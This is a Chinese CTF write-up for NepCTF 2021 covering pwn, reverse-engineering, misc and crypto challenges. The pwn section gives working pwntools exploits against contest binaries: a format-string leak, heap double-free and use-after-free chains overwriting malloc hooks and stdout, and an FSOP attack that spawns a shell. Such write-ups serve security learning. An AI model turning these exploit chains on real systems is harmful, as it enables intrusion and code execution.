NepCTF WriteUp

2021-03-22
#ctf #wp

题解中pwn用到的库为IdaManageLibcSearcher.

IdaManage用于IDA调试 LibcSearcher用于快速搜索libc。

[pwn] 送你一朵小红花

题中随机将off_4020中函数表中的函数存至buf[2]中,然后调用。可以找到程序sub_14E1函数内为后门函数,调用了system("/bin/cat /flag"),但它不在off_4020中的函数表内,因此可以通过覆盖bud[2]低字节为0xe1就有一定概率进入这个函数,多尝试几次即可。

xhh

from typing import Union
from pwn import *
from LibcSearcher import *
from IdaManage import *
from pwnlib.rop import *
from pwnlib.util.packing import flat
from pwnlib.context import *

# context.log_level='debug'
REMOTE = 1

@connect(
    remoteAddr='node2.hackingfor.fun:32620',
    elf='./xhh',
    isRemote=REMOTE,
    idaAddr='192.168.138.1:9945',
)
def main(p: Union[remote, process], ida: IDAManage, elf: ELF):
    p.send(flat({0x10:b'\xE1'}))

if __name__ == "__main__":
    main()

# Nep{d1e7ff52-7a0c-4255-8ce4-6e2293138fe9}

[pwn] easystack

该题为静态链接的程序,逆向分析过后,程序会先读入flagbss段,然后有一个溢出点。由于程序开启了canary保护,无法直接向ROP,但是可以通过覆盖程序的启动参数的指针,将其指向flag的地址,利用stack_chk_fail得到flag。

easystack

from typing import Union
from pwn import *
from LibcSearcher import *
from IdaManage import *
from pwnlib.rop import *
from pwnlib.util.packing import flat
from pwnlib.context import *

context.log_level='debug'
REMOTE = False

@connect(
    remoteAddr='node3.buuoj.cn:25884',
    elf='./easystack',
    isRemote=REMOTE,
    # idaAddr='192.168.138.1:9945',
)
def main(p: Union[remote, process], ida: IDAManage, elf: ELF):
    ida.attachAndContinue()
    p.sendlineafter('!!\n', flat({456:[0x6CDE20]}))

if __name__ == "__main__":
    main()


[pwn] scmt

程序随机生成一个数,然后判断输入的数和生成的数是否相同,相同就给shell。输入name后有格式化字符串漏洞,可以就直接将生成的数泄露出来。

scmt

from typing import Union
from pwn import *
from LibcSearcher import *
from IdaManage import *
from pwnlib.rop import *
from pwnlib.util.packing import flat
from pwnlib.context import *

context.log_level='debug'
REMOTE = True

@connect(
    remoteAddr='node2.hackingfor.fun:30146',
    elf='./scmt',
    isRemote=REMOTE,
    idaAddr='192.168.138.1:9945',
)
def main(p: Union[remote, process], ida: IDAManage, elf: ELF):
    p.sendlineafter('tell me your name:', '%8$p')
    p.recvuntil('0x')
    n=int(p.recvline(False),16)
    p.sendlineafter('Give me your lucky number:',str(n))

if __name__ == "__main__":
    main()

[pwn] sooooeasy

一道只有增和删的堆题,题目中没有说明libc版本,但是可以用过double free的报错信息通过libc的低十二位查询得到libc版本为2.23-0ubuntu11.2_amd64

*** Error in `./easypwn': double free or corruption (fasttop): 0x0000559fda059040 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x7f2a0416c7f5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8038a)[0x7f2a0417538a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f2a0417958c]
./easypwn(+0xd44)[0x559fd9b4bd44]
./easypwn(+0xe7c)[0x559fd9b4be7c]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f2a04115840]
./easypwn(+0x979)[0x559fd9b4b979]
======= Memory map: ========

add函数会开两个堆,第一个大小为0x28,第二个为自己指定。

delete函数会将大小自己指定的那个堆块free,并没有清空指针,存在UAF

sooooeasy

思路为:

  1. 将一个大小为0x70的区块先加入fastbin

  2. 通过double free伪造区块,改大的前一个区块的大小,刚好覆盖0x70的区块,并free,然后再将大出来的部分malloc出来,使得0x70的区块刚好在unsorted bin内。此时fd指针为libc内的地址。

  3. 覆盖低地址的16bit,修改fd指针为stdout的地址,使堆块到stdout

  4. 修改stdoutwrite_base_ptr的低字节,泄露libc地址

  5. 通过double free将区块开到malloc_hook附近,改为one_gadget即可getshell

    该方案成功率为1/16

from typing import Union
from pwn import *
from LibcSearcher import *
from IdaManage import *
from pwnlib.rop import *
from pwnlib.util.packing import flat
from pwnlib.context import *

context.log_level='CRITICAL'
REMOTE = True

@connect(
    remoteAddr='node2.hackingfor.fun:31125',
    elf='./sooooeasy',
    isRemote=REMOTE,
    idaAddr='192.168.138.1:9945',
)
def main(p: Union[remote, process], ida: IDAManage, elf: ELF):
    def add(name_size,name='1\n',message='a'):
        p.sendlineafter('Your choice : ','1')
        p.sendlineafter('name: ',str(name_size))
        p.sendafter('Your name:',name)
        p.sendlineafter('Your message:',message)
    def delete(index):
        p.sendlineafter('Your choice : ','2')
        p.sendlineafter('index:',str(index))

    add(0x60) # 0
    add(0x28) # 1
    add(0x28) # 2
    delete(1)
    delete(2)
    delete(1)
    add(0x28) # 3
    delete(3)
    add(0x28,flat(0,b'\xd0')) # 4

    add(0x90,flat(b'\0'*0x28,b'\x71')) # 5
    add(0x28) # 6
    delete(3)
    delete(5)

    add(0x50,name=flat(b'\xdd\x55')) # 7  to IO+FILE
    delete(6)
    add(0x60) # 8

    # 9
    p.sendlineafter('Your choice : ','1')
    p.sendlineafter('name: \n',str(0x60))
    p.sendafter('Your name:\n',flat(b'\0'*51,0xfbad1800,0,0,0,b'\x40'))
    libc_base=u64(p.recv(8))-0x7f5f88cb5640+0x7F5F888F0000
    assert libc_base&0xfff==0
    libc=LibcSearcher().prefer('2.23-0ubuntu11.2_amd64').elf()
    libc.address=libc_base
    print(hex(libc_base))
    context.log_level='debug'
    p.sendlineafter('Your message:','a')

    delete(0)
    delete(8)
    delete(0)
    add(0x60,flat(libc.sym['__memalign_hook']-19)) # 10
    add(0x60,flat(libc.sym['__memalign_hook']-19)) # 11
    add(0x60,flat(libc.sym['__memalign_hook']-19)) # 12
    add(0x60,flat(b'\0'*3,0,libc_base+0xf1207,libc.sym['realloc']+4)) # 13
    p.sendlineafter('Your choice : ','1')
    p.sendline('cat flag')

if __name__ == "__main__":
    main()

# Nep{4767c24e-5bf6-4953-bd9a-38533ef2fd84}

[pwn] superpower

程序先读入并输出指定文件的内容,然后一个格式化字符串漏洞。

superpower

思路:

  1. 读取/proc/self/maps泄露堆地址和libc地址
  2. 然后通过格式化字符串漏洞,一次性修改三个地址。1:在bss段伪造IO_jump_tclose指针,2:将堆中的IO_FILEvtable指向伪造的IO_jump_t,3:将堆中的IO_FILE的头部覆盖为/bin/sh
  3. 然后通过fclose即可getshell
from typing import Union
from pwn import *
from LibcSearcher import *
from IdaManage import *
from pwnlib.rop import *
from pwnlib.util.packing import flat
from pwnlib.context import *

context.log_level='debug'
REMOTE = True

@connect(
    remoteAddr='node2.hackingfor.fun:32274',
    elf='./superpower',
    isRemote=REMOTE,
    idaAddr='192.168.138.1:9945',
)
def main(p: Union[remote, process], ida: IDAManage, elf: ELF):
    p.sendlineafter('filename:', '/proc/self/maps')
    heap_address=int(p.recvline_contains('heap')[:8],16)
    if REMOTE:
        libc=LibcSearcher().prefer('2.23-0ubuntu11.2_i386').elf()
        libc.address=int(p.recvline_contains('libc')[:8],16)
    else:
        libc=p.libc
    def write(a,totalLen,offset=27):
        writeList=[]
        for content,addr in a:
            if isinstance(content , int):
                content=flat(content)
            for i,c in enumerate(content):
                writeList.append((c,addr+i))
        writeList.sort(key=lambda x:x[0])
        last=0
        i=0
        r=''
        for c,a in writeList:
            if c-last==0:
                r+='%%%d$hhn'%(totalLen//4-len(writeList)+offset+i)
            else:
                r+='%%%dc%%%d$hhn'%(c-last,totalLen//4-len(writeList)+offset+i)
            last=c
            i+=1
        return flat({0:r+'\0',totalLen-len(writeList)*4:[i[1] for i in writeList]})
    sleep(1)
    p.sendlineafter('name?\n',write([
        (libc.sym['system'],elf.bss()),
        (elf.bss()-0x44,heap_address+0x9C),
        (b'/bin/sh\0',heap_address+0x8),
        ],0x100))
if __name__ == "__main__":
    main()
# Nep{1ac76172-0318-4b1e-a71a-cb3d00d08c84}

[re] hardcsharp

ILSpy一把梭,AES后base64。原程序为

// hardcsharp.Program
using System;
using hardcsharp;

internal class Program
{
	private static void Main(string[] args)
	{
		AesClass aesClass = new AesClass();
		string text = "";
		string strB = "1Umgm5LG6lNPyRCd0LktJhJtyBN7ivpq+EKGmTAcXUM+0ikYZL4h4QTHGqH/3Wh0";
		byte[] array = new byte[32]
		{
			81,	82, 87, 81, 82, 87, 68, 92, 94, 86, 93, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18
		};
		Console.WriteLine("Welcome to nepnep csharp test! plz input the magical code:");
		string text2 = Console.ReadLine();
		if (text2.Length != 37)
		{
			Console.WriteLine("Nope!");
			Console.ReadKey();
			return;
		}
		if (text2.Substring(0, 4) != "Nep{" || text2[36] != '}')
		{
			Console.WriteLine("Nope!");
			Console.ReadKey();
			return;
		}
		for (int i = 0; i < 32; i++)
		{
			text += Convert.ToChar(array[i] ^ 0x33);
		}
		if (string.Compare(aesClass.AesEncrypt(text2, text), strB) == 0)
		{
			Console.WriteLine("wow, you pass it!");
			Console.ReadKey();
		}
		else
		{
			Console.WriteLine("Nope!");
			Console.ReadKey();
		}
	}
}

exp:

from Crypto.Cipher import AES
import base64

key = [81, 82, 87, 81, 82, 87, 68, 92,94,86,93,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18]
key=bytes([i^0x33 for i in key])
cipher=b"1Umgm5LG6lNPyRCd0LktJhJtyBN7ivpq+EKGmTAcXUM+0ikYZL4h4QTHGqH/3Wh0"

text=AES.new(key,AES.MODE_ECB).decrypt(base64.b64decode(cipher))
print(text)

[re] 二十六进制

题目将输入的数字转化为逆序的26进制,用链表储存,符号表为2163qwe)(*&^%489$!057@#><A,然后判断是否等于Fb72>&6

from Crypto.Hash import MD5
c=list(b"Fb72>&6"[::-1])
for i in range(len(c)):
    c[i]^=7

b=list(b"2163qwe)(*&^%489$!057@#><A")

r=0
for i in c:
    r*=26
    r+=b.index(i)
print(r)

print('Nep{'+MD5.new(str(r).encode()).hexdigest()+'}')

[re] easy_mips

逻辑非常简单,在先对输入的三个特定位置异或,然后逐位减取一个数。用qemu跑一下就可以得到异或的内容了。easymips

c=list(b'3_isjA0UeQZcNa\\`\\Vf')
c[0]^=0x7a
c[5]^=0x24
c[6]^=0x51
v2=5
for i in c:
    print(chr(i+v2),end='')
    v2+=1

[re] password

apk逆向,没有加壳。先通过JNI判断key的正确性,然后通过一个改版的RC4得到密码,解压assets/flag.zip即可。JNI中为简单的base64加密,改版的RC4将java代码复制一遍,将再次加密即可。

password1

b64表为a-z0-9+/A-Z,可以得到key:th1s_1s_k3y!!!!!

Snipaste_2021-03-22_09-11-25

然后通过java解密:

public class Exp {
    public static void en1(int[] iArr, String str, int i) {
        byte[] bArr = new byte[256];
        byte[] bytes = str.getBytes();
        for (int i2 = 0; i2 < 256; i2++) {
            iArr[i2] = 256 - i2;
            bArr[i2] = bytes[i2 % i];
        }
        int i3 = 0;
        for (int i4 = 0; i4 < 256; i4++) {
            i3 = ((iArr[i4] + i3) + bArr[i4]) % 256;
            int i5 = iArr[i4];
            iArr[i4] = iArr[i3];
            iArr[i3] = i5;
        }
    }


    public static void en2(int[] iArr, byte[] bArr, int i) {
        int i2 = 0;
        int i3 = 0;
        for (int i4 = 0; i4 < i; i4++) {
            i2 = (i2 + 1) % 256;
            i3 = ((iArr[i2] & 255) + i3) % 256;
            int i5 = iArr[i2];
            iArr[i2] = iArr[i3];
            iArr[i3] = i5;
            bArr[i4] = (byte) (bArr[i4] ^ iArr[((iArr[i2] & 255) + (iArr[i3] & 255)) % 256]);
        }
    }

    public static void main(String[] args) {
        String str="th1s_1s_k3y!!!!!";
        int[] iArr = new int[256];
        byte[] iArr2 = {(byte)139, (byte)210, (byte)217, (byte)93, (byte)149, (byte)255, (byte)126, (byte)95, (byte)41, (byte)86, (byte)18, (byte)185, (byte)239, (byte)236, (byte)139, (byte)208, (byte)69};
        en1(iArr, str, str.length());
        en2(iArr, iArr2, iArr2.length);

        for (int i = 0; i < 17; i++) {
            System.out.print((char)iArr2[i]);
        }
    }
}

[misc] 签到

二进制输出即可

# 列表太长了,就不放出来了
flag =[0xffffffffffffffffffffffffffffffff,...,0xffffffffffffffffffffffffffffffff]
for i in flag:
    print(bin(i)[2:])

效果图:

misc1

[misc] 冰峰历险记

Electron程序,安装在~\AppData\Local\Adventure下,逆向app-1.0.0/resources/app/index.html。将失败的函数注释掉即可不死。

misc2

在比对输入的函数中,加上输出语句即可得到flag。

misc4

游戏中ctrl+shift+i打开控制台,即可得到flag。

misc3

[misc] 我是间谍2nd

目标是伪造与223.223.223.223:6001通信。

可以通过Proxifier添加规则,让它走向自己的pythonsock5代理服务器,将其转发至本机1234端口,提前打开nc服务器即可。

import select
import socket
import struct
from socketserver import StreamRequestHandler, ThreadingTCPServer
SOCKS_VERSION = 5
class SocksProxy(StreamRequestHandler):
    def handle(self):
        print('Accepting connection from {}'.format(self.client_address))
        # 协商
        # 从客户端读取并解包两个字节的数据
        header = self.connection.recv(2)
        version, nmethods = struct.unpack("!BB", header)
        # 设置socks5协议,METHODS字段的数目大于0
        assert version == SOCKS_VERSION
        assert nmethods > 0
        # 接受支持的方法
        methods = self.get_available_methods(nmethods)
        # 无需认证
        if 0 not in set(methods):
            self.server.close_request(self.request)
            return
        # 发送协商响应数据包
        self.connection.sendall(struct.pack("!BB", SOCKS_VERSION, 0))
        # 请求
        version, cmd, _, address_type = struct.unpack("!BBBB", self.connection.recv(4))
        assert version == SOCKS_VERSION
        if address_type == 1:  # IPv4
            address = socket.inet_ntoa(self.connection.recv(4))
        elif address_type == 3:  # Domain name
            domain_length = self.connection.recv(1)[0]
            address = self.connection.recv(domain_length)
            #address = socket.gethostbyname(address.decode("UTF-8"))  # 将域名转化为IP,这一行可以去掉
        elif address_type == 4: # IPv6
            addr_ip = self.connection.recv(16)
            address = socket.inet_ntop(socket.AF_INET6, addr_ip)
        else:
            self.server.close_request(self.request)
            return
        port = struct.unpack('!H', self.connection.recv(2))[0]
        # 响应,只支持CONNECT请求
        try:
            if cmd == 1:  # CONNECT
                remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                if address=='223.223.223.223':
                    address='127.0.0.1'
                    port=1234
                remote.connect((address, port))
                bind_address = remote.getsockname()
                print('Connected to {} {}'.format(address, port))
            else:
                self.server.close_request(self.request)
            addr = struct.unpack("!I", socket.inet_aton(bind_address[0]))[0]
            port = bind_address[1]
            reply = struct.pack("!BBBBIH", SOCKS_VERSION, 0, 0, 1, addr, port)
        except Exception as err:
            logging.error(err)
            # 响应拒绝连接的错误
            reply = self.generate_failed_reply(address_type, 5)
        self.connection.sendall(reply)
        # 建立连接成功,开始交换数据
        if reply[1] == 0 and cmd == 1:
            self.exchange_loop(self.connection, remote)
        self.server.close_request(self.request)
    def get_available_methods(self, n):
        methods = []
        for i in range(n):
            methods.append(ord(self.connection.recv(1)))
        return methods
    def generate_failed_reply(self, address_type, error_number):
        return struct.pack("!BBBBIH", SOCKS_VERSION, error_number, 0, address_type, 0, 0)
    def exchange_loop(self, client, remote):
        while True:
            # 等待数据
            r, w, e = select.select([client, remote], [], [])
            if client in r:
                data = client.recv(4096)
                if remote.send(data) <= 0:
                    break
            if remote in r:
                data = remote.recv(4096)
                if client.send(data) <= 0:
                    break
if __name__ == '__main__':
    with ThreadingTCPServer(('127.0.0.1', 9011), SocksProxy) as server:
        server.serve_forever()

misc5

[crypto] Real_base

程序用未知的表进行base64加密,先用标准base64加密,可以得到部分替换表,再通过猜测得到完整的替换表。

import base64

m1=b"rTcb1BR8YVW2EOUjweXpIiLt5QCNg7ZAsD9muq3ylMhvofnx/P"
m1c_=base64.b64encode(m1)
m1c=b"2Br9y9fcu97zvB2OruZv0D3Bwhbj0uNQnvfdtC2TwAfPrdBJ3xeP4wNn0hzLzCVUlRa="

# A-Za-z0-9+/=
ab=b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+="
ab_=['_']*len(ab)

for i,c in enumerate(m1c):
    ab_[ab.index(c)]=chr(m1c_[i])
print("".join(ab_))

# klmn_____t_v_xyz01_345___9ABCDEF_H_J_L_N___R_TUVWXYZa_cde__h_j_=
# 猜测为
ab_=b"klmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghij+="
flag_c=b'tCvM4R3TzvZ7nhjBxSiNyxmP28e7qCjVxQn91SRM3gBKzxQ='

flag_e=[]
for i in flag_c:
    flag_e.append(ab_[ab.index(i)])

print(base64.b64decode(bytes(flag_e)).decode())
# Nep{Wwe_a4re_b1as3r!!Bby_Ccomptine}

[crypto] 你们一天天的不写代码难道是在等爱情吗

标准银河字母、盲文、跳舞的小人、圣堂武士密码等,然后经过key为3的W型栅栏密码,和ROT13即为flag

crypto

crypto1